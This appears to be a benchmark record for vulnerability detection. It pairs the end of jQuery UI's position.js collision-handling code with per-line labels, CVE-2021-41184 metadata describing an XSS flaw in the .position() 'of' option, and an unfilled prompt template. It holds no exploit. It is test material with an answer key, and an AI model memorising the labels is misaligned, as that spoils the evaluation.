) {\n\t\t\t\tposition.left += overLeft;", "\t\t\t// Too far right -> align with right edge\n\t\t\t} else if ( overRight > 0 ) {\n\t\t\t\tposition.left -= overRight;", "\t\t\t// Adjust based on position and margin\n\t\t\t} else {\n\t\t\t\tposition.left = max( position.left - collisionPosLeft, position.left );\n\t\t\t}\n\t\t},\n\t\ttop: function( position, data ) {\n\t\t\tvar within = data.within,\n\t\t\t\twithinOffset = within.isWindow ? within.scrollTop : within.offset.top,\n\t\t\t\touterHeight = data.within.height,\n\t\t\t\tcollisionPosTop = position.top - data.collisionPosition.marginTop,\n\t\t\t\toverTop = withinOffset - collisionPosTop,\n\t\t\t\toverBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,\n\t\t\t\tnewOverBottom;", "\t\t\t// Element is taller than within\n\t\t\tif ( data.collisionHeight > outerHeight ) {", "\t\t\t\t// Element is initially over the top of within\n\t\t\t\tif ( overTop > 0 && overBottom <= 0 ) {\n\t\t\t\t\tnewOverBottom = position.top + overTop + data.collisionHeight - outerHeight -\n\t\t\t\t\t\twithinOffset;\n\t\t\t\t\tposition.top += overTop - newOverBottom;", "\t\t\t\t// Element is initially over bottom of within\n\t\t\t\t} else if ( overBottom > 0 && overTop <= 0 ) {\n\t\t\t\t\tposition.top = withinOffset;", "\t\t\t\t// Element is initially over both top and bottom of within\n\t\t\t\t} else {\n\t\t\t\t\tif ( overTop > overBottom ) {\n\t\t\t\t\t\tposition.top = withinOffset + outerHeight - data.collisionHeight;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tposition.top = withinOffset;\n\t\t\t\t\t}\n\t\t\t\t}", "\t\t\t// Too far up -> align with top\n\t\t\t} else if ( overTop > 0 ) {\n\t\t\t\tposition.top += overTop;", "\t\t\t// Too far down -> align with bottom edge\n\t\t\t} else if ( overBottom > 0 ) {\n\t\t\t\tposition.top -= overBottom;", "\t\t\t// Adjust based on position and margin\n\t\t\t} else {\n\t\t\t\tposition.top = max( position.top - collisionPosTop, position.top );\n\t\t\t}\n\t\t}\n\t},\n\tflip: {\n\t\tleft: function( position, data ) {\n\t\t\tvar within = data.within,\n\t\t\t\twithinOffset = within.offset.left + within.scrollLeft,\n\t\t\t\touterWidth = within.width,\n\t\t\t\toffsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,\n\t\t\t\tcollisionPosLeft = position.left - data.collisionPosition.marginLeft,\n\t\t\t\toverLeft = collisionPosLeft - offsetLeft,\n\t\t\t\toverRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,\n\t\t\t\tmyOffset = data.my[ 0 ] === \"left\" ?\n\t\t\t\t\t-data.elemWidth :\n\t\t\t\t\tdata.my[ 0 ] === \"right\" ?\n\t\t\t\t\t\tdata.elemWidth :\n\t\t\t\t\t\t0,\n\t\t\t\tatOffset = data.at[ 0 ] === \"left\" ?\n\t\t\t\t\tdata.targetWidth :\n\t\t\t\t\tdata.at[ 0 ] === \"right\" ?\n\t\t\t\t\t\t-data.targetWidth :\n\t\t\t\t\t\t0,\n\t\t\t\toffset = -2 * data.offset[ 0 ],\n\t\t\t\tnewOverRight,\n\t\t\t\tnewOverLeft;", "\t\t\tif ( overLeft < 0 ) {\n\t\t\t\tnewOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth -\n\t\t\t\t\touterWidth - withinOffset;\n\t\t\t\tif ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {\n\t\t\t\t\tposition.left += myOffset + atOffset + offset;\n\t\t\t\t}\n\t\t\t} else if ( overRight > 0 ) {\n\t\t\t\tnewOverLeft = position.left - data.collisionPosition.marginLeft + myOffset +\n\t\t\t\t\tatOffset + offset - offsetLeft;\n\t\t\t\tif ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {\n\t\t\t\t\tposition.left += myOffset + atOffset + offset;\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\ttop: function( position, data ) {\n\t\t\tvar within = data.within,\n\t\t\t\twithinOffset = within.offset.top + within.scrollTop,\n\t\t\t\touterHeight = within.height,\n\t\t\t\toffsetTop = within.isWindow ? within.scrollTop : within.offset.top,\n\t\t\t\tcollisionPosTop = position.top - data.collisionPosition.marginTop,\n\t\t\t\toverTop = collisionPosTop - offsetTop,\n\t\t\t\toverBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,\n\t\t\t\ttop = data.my[ 1 ] === \"top\",\n\t\t\t\tmyOffset = top ?\n\t\t\t\t\t-data.elemHeight :\n\t\t\t\t\tdata.my[ 1 ] === \"bottom\" ?\n\t\t\t\t\t\tdata.elemHeight :\n\t\t\t\t\t\t0,\n\t\t\t\tatOffset = data.at[ 1 ] === \"top\" ?\n\t\t\t\t\tdata.targetHeight :\n\t\t\t\t\tdata.at[ 1 ] === \"bottom\" ?\n\t\t\t\t\t\t-data.targetHeight :\n\t\t\t\t\t\t0,\n\t\t\t\toffset = -2 * data.offset[ 1 ],\n\t\t\t\tnewOverTop,\n\t\t\t\tnewOverBottom;\n\t\t\tif ( overTop < 0 ) {\n\t\t\t\tnewOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight -\n\t\t\t\t\touterHeight - withinOffset;\n\t\t\t\tif ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) {\n\t\t\t\t\tposition.top += myOffset + atOffset + offset;\n\t\t\t\t}\n\t\t\t} else if ( overBottom > 0 ) {\n\t\t\t\tnewOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset +\n\t\t\t\t\toffset - offsetTop;\n\t\t\t\tif ( newOverTop > 0 || abs( newOverTop ) < overBottom ) {\n\t\t\t\t\tposition.top += myOffset + atOffset + offset;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\tflipfit: {\n\t\tleft: function() {\n\t\t\t$.ui.position.flip.left.apply( this, arguments );\n\t\t\t$.ui.position.fit.left.apply( this, arguments );\n\t\t},\n\t\ttop: function() {\n\t\t\t$.ui.position.flip.top.apply( this, arguments );\n\t\t\t$.ui.position.fit.top.apply( this, arguments );\n\t\t}\n\t}\n};", "} )();", "return $.ui.position;", "} ) );" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [336, 152], "buggy_code_start_loc": [116, 151], "filenames": ["tests/unit/position/core.js", "ui/position.js"], "fixing_code_end_loc": [355, 157], "fixing_code_start_loc": [116, 151], "message": "jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:jquery:jquery_ui:*:*:*:*:*:*:*:*", "matchCriteriaId": "CB6A3E8D-9C5E-48D3-B096-672A0FE3AE82", "versionEndExcluding": "1.13.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "matchCriteriaId": "E460AA51-FCDA-46B9-AE97-E6676AA5E194", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "matchCriteriaId": "A930E247-0B43-43CB-98FF-6CE7B8189835", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*", "matchCriteriaId": "80E516C0-98A4-4ADE-B69F-66A772E2BAAA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*", "matchCriteriaId": "5C675112-476C-4D7C-BCB9-A2FB2D0BC9FD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h300s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6770B6C3-732E-4E22-BF1C-2D2FD610061C", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h300s:-:*:*:*:*:*:*:*", "matchCriteriaId": "9F9C8C20-42EB-4AB5-BD97-212DEB070C43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h500s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FFF7106-ED78-49BA-9EC5-B889E3685D53", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h500s:-:*:*:*:*:*:*:*", "matchCriteriaId": "E63D8B0F-006E-4801-BF9D-1C001BBFB4F9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h700s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "56409CEC-5A1E-4450-AA42-641E459CC2AF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h700s:-:*:*:*:*:*:*:*", "matchCriteriaId": "B06F4839-D16A-4A61-9BB5-55B13F41E47F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h300e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "108A2215-50FB-4074-94CF-C130FA14566D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h300e:-:*:*:*:*:*:*:*", "matchCriteriaId": "7AFC73CE-ABB9-42D3-9A71-3F5BC5381E0E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h500e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "32F0B6C0-F930-480D-962B-3F4EFDCC13C7", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h500e:-:*:*:*:*:*:*:*", "matchCriteriaId": "803BC414-B250-4E3A-A478-A3881340D6B8", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h700e_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0FEB3337-BFDE-462A-908B-176F92053CEC", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h700e:-:*:*:*:*:*:*:*", "matchCriteriaId": "736AEAE9-782B-4F71-9893-DED53367E102", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h410s_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0B4AD8A-F172-4558-AEC6-FF424BA2D912", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h410s:-:*:*:*:*:*:*:*", "matchCriteriaId": "8497A4C9-8474-4A62-8331-3FE862ED4098", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:h410c_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "234DEFE0-5CE5-4B0A-96B8-5D227CB8ED31", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:h410c:-:*:*:*:*:*:*:*", "matchCriteriaId": "CDDF61B7-EC5C-467C-B710-B89F502CD04F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "013FAABA-8CDD-46AD-B321-9908634C880A", "versionEndExcluding": "7.86", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "BE1268C5-DEFD-44D8-8994-D93C7839D5C2", "versionEndExcluding": "9.2.11", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.2.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "matchCriteriaId": "7A28F55D-AEB8-454E-B1A9-163C4CB2B38D", "versionEndExcluding": "9.3.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.3.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:tenable:tenable.sc:*:*:*:*:*:*:*:*", "matchCriteriaId": "CAB9A41F-91F1-40DF-BF12-6ADA7229A84C", "versionEndExcluding": "5.21.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:oracle:agile_plm:9.3.6:*:*:*:*:*:*:*", "matchCriteriaId": "C650FEDB-E903-4C2D-AD40-282AB5F2E3C2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:application_express:*:*:*:*:*:*:*:*", "matchCriteriaId": "48B23728-0050-4AF0-B8B0-A959CBAB4505", "versionEndExcluding": "22.1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:banking_platform:2.9.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9FC9AB-1070-420F-870E-A5EC43A924A4", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:banking_platform:2.12.0:*:*:*:*:*:*:*", "matchCriteriaId": "BDC6D658-09EA-4C41-869F-1C2EA163F751", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:big_data_spatial_and_graph:*:*:*:*:*:*:*:*", "matchCriteriaId": "384DEDD9-CB26-4306-99D8-83068A9B23ED", "versionEndExcluding": "23.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:big_data_spatial_and_graph:23.1:*:*:*:*:*:*:*", "matchCriteriaId": "BEF828F5-C666-40DA-98DD-CDF658D7090B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_interactive_session_recorder:6.4:*:*:*:*:*:*:*", "matchCriteriaId": "E812639B-EE28-4C68-9F6F-70C8BF981C86", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:4.3:*:*:*:*:*:*:*", "matchCriteriaId": "CBE1A019-7BB6-4226-8AC4-9D6927ADAEFA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:4.4:*:*:*:*:*:*:*", "matchCriteriaId": "B98BAEB2-A540-4E8A-A946-C4331B913AFD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:communications_operations_monitor:5.0:*:*:*:*:*:*:*", "matchCriteriaId": "B8FBE260-E306-4215-80C0-D2D27CA43E0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_inventory_management:9.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "8865CE15-F9A1-4A46-AF93-B58356BDEE6F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_materials_control:18.1:*:*:*:*:*:*:*", "matchCriteriaId": "2AC63D10-2326-4542-B345-31D45B9A7408", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_suite8:*:*:*:*:*:*:*:*", "matchCriteriaId": "C7F4B5F0-6B78-4A94-AD83-6B78D484E298", "versionEndExcluding": null, "versionEndIncluding": "8.14.0", "versionStartExcluding": null, "versionStartIncluding": "8.11.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:hospitality_suite8:8.10.2:*:*:*:*:*:*:*", "matchCriteriaId": "CBDA65DE-5727-49DC-8D50-DA81DB3E8841", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:*:*:*:*:*:*:*:*", "matchCriteriaId": "C5F35B8D-6F26-4682-8541-6F10EE2ACE7E", "versionEndExcluding": null, "versionEndIncluding": "9.2.6.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.58:*:*:*:*:*:*:*", "matchCriteriaId": "D9DB4A14-2EF5-4B54-95D2-75E6CF9AA0A9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.59:*:*:*:*:*:*:*", "matchCriteriaId": "C8AF00C6-B97F-414D-A8DF-057E6BFD8597", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:policy_automation:*:*:*:*:*:*:*:*", "matchCriteriaId": "15C83E0F-5FA2-47E5-9FCF-CD2E90D6A9E8", "versionEndExcluding": null, "versionEndIncluding": "12.2.25", "versionStartExcluding": null, "versionStartIncluding": "12.2.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:*:*:*:*:*:*:*:*", "matchCriteriaId": "08FA59A8-6A62-4B33-8952-D6E658F8DAC9", "versionEndExcluding": null, "versionEndIncluding": "17.12", "versionStartExcluding": null, "versionStartIncluding": "17.7", "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:18.8:*:*:*:*:*:*:*", "matchCriteriaId": "202AD518-2E9B-4062-B063-9858AE1F9CE2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:19.12:*:*:*:*:*:*:*", "matchCriteriaId": "10864586-270E-4ACF-BDCC-ECFCD299305F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:20.12:*:*:*:*:*:*:*", "matchCriteriaId": "38340E3C-C452-4370-86D4-355B6B4E0A06", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:primavera_unifier:21.12:*:*:*:*:*:*:*", "matchCriteriaId": "E9C55C69-E22E-4B80-9371-5CD821D79FE2", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:rest_data_services:*:*:*:*:-:*:*:*", "matchCriteriaId": "105BF985-2403-455E-BAA1-509245B54A1D", "versionEndExcluding": "22.1.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:rest_data_services:22.1.1:*:*:*:-:*:*:*", "matchCriteriaId": "281F1ACB-3180-422C-BADF-B0AE5F50924E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "F14A818F-AA16-4438-A3E4-E64C9287AC66", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4A5BB153-68E0-4DDA-87D1-0D9AB7F0A418", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "04BCDC24-4A21-473C-8733-0D9CFB38A752", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}], "descriptions": [{"lang": "en", "value": "jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources."}, {"lang": "es", "value": "jQuery-UI es la biblioteca oficial de interfaz de usuario de jQuery. Antes de la versi\u00f3n 1.13.0, aceptar el valor de la opci\u00f3n \"of\" de la utilidad \".position()\" de fuentes no confiables pod\u00eda ejecutar c\u00f3digo no confiable. El problema es corregido en jQuery UI versi\u00f3n 1.13.0. Cualquier valor de cadena pasado a la opci\u00f3n \"of\" se trata ahora como un selector CSS. Una soluci\u00f3n es no aceptar el valor de la opci\u00f3n \"of\" de fuentes no confiables"}], "evaluatorComment": null, "id": "CVE-2021-41184", "lastModified": "2022-11-07T17:20:09.440", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-10-26T15:15:10.460", "references": [{"source": "security-advisories@github.com", "tags": ["Release Notes", "Vendor Advisory"], "url": "https://blog.jqueryui.com/2021/10/jquery-ui-1-13-0-released/"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Vendor Advisory"], "url": "https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280"}, {"source": "security-advisories@github.com", "tags": ["Mitigation", "Patch", "Vendor Advisory"], "url": "https://github.com/jquery/jquery-ui/security/advisories/GHSA-gpqq-952q-5327"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NXIUUBRVLA4E7G7MMIKCEN75YN7UFERW/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/O74SXYY7RGXREQDQUDQD4BPJ4QQTD2XQ/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SNXA7XRKGINWSUIPIZ6ZBCTV6N3KSHES/"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://security.netapp.com/advisory/ntap-20211118-0004/"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.drupal.org/sa-core-2022-001"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.oracle.com/security-alerts/cpujul2022.html"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Release Notes", "Third Party Advisory"], "url": "https://www.tenable.com/security/tns-2022-09"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280"}, "type": "CWE-79"}
127
Determine whether the {function_name} code is vulnerable or not.
